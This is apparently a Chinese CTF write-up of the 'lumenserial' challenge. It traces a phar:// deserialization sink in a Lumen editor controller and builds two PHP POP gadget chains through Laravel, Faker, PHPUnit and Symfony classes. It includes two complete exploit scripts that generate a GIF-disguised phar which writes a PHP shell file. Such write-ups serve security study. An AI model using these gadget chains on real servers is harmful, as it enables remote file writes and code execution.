Code-Breaking lumenserial

在安全客看到了两篇文章PHP反序列化入门之寻找POP链(一)PHP反序列化入门之寻找POP链(二),之前没有来得及仔细看p牛出的这道lumenserial,所以这里跟着文章的思路审一下。

任意反序列化

查看路由
/routers/web.php

<?php
use Illuminate\Http\Request;
use Symfony\Component\HttpFoundation\File\File;

$router->get('/', function (Request $request) use ($router) {
    return view('index');
});

$router->get('/server/editor', 'EditorController@main');
$router->post('/server/editor', 'EditorController@main');

跟进EditorController,download方法中$url未经过过滤直接传入file_get_contents,查看$url来源,如果我们可控,则我们可以利用phar://来任意反序列化。

    private function download($url)
    {
        $maxSize = $this->config['catcherMaxSize'];
        $limitExtension = array_map(function ($ext) {
            return ltrim($ext, '.');
        }, $this->config['catcherAllowFiles']);
        $allowTypes = array_map(function ($ext) {
            return "image/{$ext}";
        }, $limitExtension);

        $content = file_get_contents($url);
        $img = getimagesizefromstring($content);

查看$url如何传入

    function __construct()
    {
        $config_filename = app()->basePath('resources/editor/config.json');
        $this->config = json_decode(preg_replace("/\/\*[\s\S]+?\*\//", "", file_get_contents($config_filename)), true);
    }
    protected function doCatchimage(Request $request)
    {
        $sources = $request->input($this->config['catcherFieldName']);
        $rets = [];

        if ($sources) {
            foreach ($sources as $url) {
                $rets[] = $this->download($url);
            }
        }

        return response()->json([
            'state' => 'SUCCESS',
            'list' => $rets
        ]);
    }

$url$sources获得,$sources我们可控,查看$this->config['catcherFieldName']
image.png
因此只要请求一个source参数即可控制$url,接下来就是寻找popchain。
由于这里环境为php7.2.12,且disable_function过滤了各种危险函数。因此我们需要找到其他利用点,例如call_user_func_array('file_put_contents',array('smi1e.php','123'))

POP Chain 1

首先要寻找寻找__wakeup 或者 __destruct。在phpggc 里面所有的Laravel/RCE 都是利用的\Illuminate\Broadcasting\PendingBroadcast::__destruct()

<?php

namespace Illuminate\Broadcasting;

use Illuminate\Contracts\Events\Dispatcher;

class PendingBroadcast
{
    protected $events;
    protected $event;

    public function __construct(Dispatcher $events, $event)
    {
        $this->event = $event;
        $this->events = $events;
    }

    public function __destruct()
    {
        $this->events->dispatch($this->event);
    }
}

$event$event可控,因此要么我们控制$this->events触发__call方法,要么寻找带有dispatch方法的类。
发现/vender/fzaninotto/faker/src/Faker/ValidGenerator.php中的__call方法比较好用。

class ValidGenerator
{
    protected $generator;
    protected $validator;
    protected $maxRetries;

    public function __construct(Generator $generator, $validator = null, $maxRetries = 10000)
    {
        if (is_null($validator)) {
            $validator = function () {
                return true;
            };
        } elseif (!is_callable($validator)) {
            throw new \InvalidArgumentException('valid() only accepts callables as first argument');
        }
        $this->generator = $generator;
        $this->validator = $validator;
        $this->maxRetries = $maxRetries;
    }
    public function __call($name, $arguments)
    {
        $i = 0;
        do {
            $res = call_user_func_array(array($this->generator, $name), $arguments);
            $i++;
            if ($i > $this->maxRetries) {
                throw new \OverflowException(sprintf('Maximum retries of %d reached without finding a valid value', $this->maxRetries));
            }
        } while (!call_user_func($this->validator, $res));

        return $res;
    }
}

可以看到call_user_func_array的结果传入了call_user_func,而$this->validator我们可控,因此只要我们可以控制call_user_func_array的返回结果,则可以执行任意类的方法。

接下来就是找一个可以控制返回结果的类
/vender/fzaninotto/faker/src/Faker/DefaultGenerator.php

<?php

namespace Faker;
class DefaultGenerator
{
    protected $default;

    public function __construct($default = null)
    {
        $this->default = $default;
    }

    public function __get($attribute)
    {
        return $this->default;
    }

    public function __call($method, $attributes)
    {
        return $this->default;
    }
}

现在call_user_func($this->validator, $res)两个参数都可控,但是执行file_put_contents需要两个参数,因此我们需要再找到一个类中有call_user_func_array函数,且参数可控的方法。

/phpunit/phpunit/src/MockObject/Stub/ReturnCallback.php

namespace PHPUnit\Framework\MockObject\Stub;

use PHPUnit\Framework\MockObject\Invocation;
use PHPUnit\Framework\MockObject\Stub;

class ReturnCallback implements Stub
{
    private $callback;

    public function __construct($callback)
    {
        $this->callback = $callback;
    }

    public function invoke(Invocation $invocation)
    {
        return \call_user_func_array($this->callback, $invocation->getParameters());
    }
.....
}

Invocation是一个接口,查找其实现的代码。
/phpunit/phpunit/src/MockObject/Invocation/Invocation.php

<?php
namespace PHPUnit\Framework\MockObject;

/**
 * Interface for invocations.
 */
interface Invocation
{
    /**
     * @return mixed mocked return value
     */
    public function generateReturnValue();

    public function getClassName(): string;

    public function getMethodName(): string;

    public function getParameters(): array;

    public function getReturnType(): string;

    public function isReturnTypeNullable(): bool;
}

/phpunit/phpunit/src/MockObject/Invocation/StaticInvocation.php

class StaticInvocation implements Invocation, SelfDescribing
{
    public function __construct($className, $methodName, array $parameters, $returnType, $cloneObjects = false)
    {
        $this->className  = $className;
        $this->methodName = $methodName;
        $this->parameters = $parameters;
    .....
    }
    public function getParameters(): array
    {
        return $this->parameters;
    }

$invocation->getParameters()的返回值可控。因此我们可以完全控制call_user_func_array($this->callback, $invocation->getParameters())中的参数。
exp

<?php
namespace Illuminate\Broadcasting{
class PendingBroadcast
{
    protected $events;
    protected $event;
    public function __construct($events, $event)
        {
            $this->events = $events;
            $this->event = $event;
        }
}
};

namespace Faker{
class DefaultGenerator
{
    protected $default;
    public function __construct($default = null)
    {
        $this->default = $default;
    }
}

class ValidGenerator
{
    protected $generator;
    protected $validator;
    protected $maxRetries;
    public function __construct($generator, $validator = null, $maxRetries = 10000)
    {
        $this->generator = $generator;
        $this->validator = $validator;
        $this->maxRetries = $maxRetries;
    }
}
};

namespace PHPUnit\Framework\MockObject\Stub{
class ReturnCallback
{
    private $callback;
    public function __construct($callback)
    {
        $this->callback = $callback;
    }
}
};

namespace PHPUnit\Framework\MockObject\Invocation{
class StaticInvocation
{
    private $parameters;
    public function __construct($parameters)
    {
        $this->parameters = $parameters;
    }
}
};

namespace{
    $function='file_put_contents';
    $parameters=array('/var/www/html/smi1e.php','<?php $_POST[\'1\'];?>');
    $invocation=new PHPUnit\Framework\MockObject\Invocation\StaticInvocation($parameters);
    $return=new PHPUnit\Framework\MockObject\Stub\ReturnCallback($function);
    $default=new Faker\DefaultGenerator($invocation);
    $valid=new Faker\ValidGenerator($default,array($return,'invoke'),100);
    $obj=new Illuminate\Broadcasting\PendingBroadcast($valid,1);
    $o = $obj;
    @unlink("phar.phar");
    $phar = new Phar("phar.phar"); //后缀名必须为phar
    $phar->startBuffering();
    $phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>"); //设置stub
    $phar->setMetadata($o); //将自定义的meta-data存入manifest
    $phar->addFromString("test.txt", "test"); //添加要压缩的文件
    //签名自动计算
    $phar->stopBuffering();
};

?>

image.png
ps:这里/var/www/html目录无写权限,需要写到upload目录下。懒得改payload了,我进容器改了下权限,2333。
image.png

POP Chain 2

这个链的核心是/vender/fzaninotto/faker/src/Faker/Generator.php

class Generator
{
    protected $providers = array();
    protected $formatters = array();

    public function __call($method, $attributes)
    {
        return $this->format($method, $attributes);
    }

    public function format($formatter, $arguments = array())
    {
        return call_user_func_array($this->getFormatter($formatter), $arguments);
    }

    public function getFormatter($formatter)
    {
        if (isset($this->formatters[$formatter])) {
            return $this->formatters[$formatter];
        }
        foreach ($this->providers as $provider) {
            if (method_exists($provider, $formatter)) {
                $this->formatters[$formatter] = array($provider, $formatter);

                return $this->formatters[$formatter];
            }
        }
        throw new \InvalidArgumentException(sprintf('Unknown formatter "%s"', $formatter));
    }

}

call_user_func_array可以看到call_user_func_array的两个参数完全可控,因此我们只要找到方法中存在形如this->$object->$method($arg1,$arg2)且4个参数均可控的地方,就可以利用这个 Generator 类的 __call 方法,最终执行call_user_func_array('file_put_contents',array('1.php','123'))

/vendor/symfony/event-dispatcher/Debug/TracebleEventDispatcher.php中的dispatch方法

class TraceableEventDispatcher implements TraceableEventDispatcherInterface
{
    public function dispatch($eventName, Event $event = null)
    {
        if (null === $event) {
            $event = new Event();
        }

        if (null !== $this->logger && $event->isPropagationStopped()) {
            $this->logger->debug(sprintf('The "%s" event is already stopped. No listeners have been called.', $eventName));
        }

        $this->preProcess($eventName);
......
    }

跟进preProcess方法
image.png
可以看到这里有我们想要的this->$object->$method($arg1,$arg2),且前三个参数都可控,第四个参数我们也可以想办法控制,但是跟进前面的$this->getListenerPriority会发现该方法也有我们想要的东西,这样就更好了。
image.png
但前提是我们要绕过这个if条件,我们需要让$this->dispatcher->hasListeners($eventName)返回为True。

if (!$this->dispatcher->hasListeners($eventName)) {
            $this->orphanedEvents[] = $eventName;

            return;
        }

我们可以继续利用开头说到的这个POP链的核心类/vender/fzaninotto/faker/src/Faker/Generator.php,令$formatters['hasListeners']等于一个能够把$eventName做为参数且返回True的函数即可,而$eventName其实是需要写的文件路径。因此用strlen函数即可。

继续跟进foreach条件,我们需要控制$this->dispatcher->getListeners($eventName)的返回结果进而才能控制$listener,搜索可利用的getListeners方法。
/vender/illuminate/events/Dispatcher.php

class Dispatcher implements DispatcherContract
{
    protected $listeners = [];

    public function getListeners($eventName)
    {
        $listeners = $this->listeners[$eventName] ?? [];

        $listeners = array_merge(
            $listeners,
            $this->wildcardsCache[$eventName] ?? $this->getWildcardListeners($eventName)
        );

        return class_exists($eventName, false)
                    ? $this->addInterfaceListeners($eventName, $listeners)
                    : $listeners;
    }
}

可以发现$listeners很容易被控制,从而我们可以控制返回结果。现在我们可以控制$this->dispatcher->getListenerPriority($eventName, $listener)所有参数,然后再次利用开头所说的核心类/vender/fzaninotto/faker/src/Faker/Generator.php执行call_user_func_array($this->getFormatter($formatter), $arguments);,参数完全可控,从而执行call_user_func_array('file_put_contents',array('1.php','123'))

第二个POP链看着wp都构造不出来,看懵逼了。。。找到这个链的师傅太强了,Orz!
exp

<?php
namespace Illuminate\Events{
    class Dispatcher
    {
        protected $listeners = [];
        protected $wildcardsCache = [];

        public function __construct($parameter){
            $this->listeners[$parameter['filename']] = array($parameter['contents']);
        }
    }

};

namespace Faker{
    class Generator
    {
        protected $providers = array();
        protected $formatters = array();

        public function __construct($providers,$formatters){
            $this->formatters = $formatters;
            $this->providers = $providers;
        }
    }

};

namespace Symfony\Component\EventDispatcher\Debug{
    class TraceableEventDispatcher{
        private $dispatcher;

        public function __construct($dispatcher){
            $this->dispatcher = $dispatcher;
        }
    }
};

namespace Illuminate\Broadcasting{
    class PendingBroadcast{
        protected $events;
        protected $event;

        public function __construct($events, $parameter){
        $this->events = $events;
        $this->event = $parameter['filename'];
    }
    }
};

namespace{
    $function='file_put_contents';
    $paramters=array('filename'=>'/var/www/html/upload/1.php','contents'=>'<? phpinfo();?>');

    $dispatcher = new Illuminate\Events\Dispatcher($paramters);
    $generator = new Faker\Generator([$dispatcher],['hasListeners'=>'strlen','getListenerPriority'=>$function]);
    $trace = new Symfony\Component\EventDispatcher\Debug\TraceableEventDispatcher($generator);
    $obj =new Illuminate\Broadcasting\PendingBroadcast($trace,$paramters);
    $o = $obj;

    @unlink("phar.phar");
    $phar = new Phar("phar.phar"); //后缀名必须为phar
    $phar->startBuffering();
    $phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>"); //设置stub
    $phar->setMetadata($o); //将自定义的meta-data存入manifest
    $phar->addFromString("test.txt", "test"); //添加要压缩的文件
    //签名自动计算
    $phar->stopBuffering();
};

?>

这次我直接写进了upload目录,没有更改容器权限。
image.png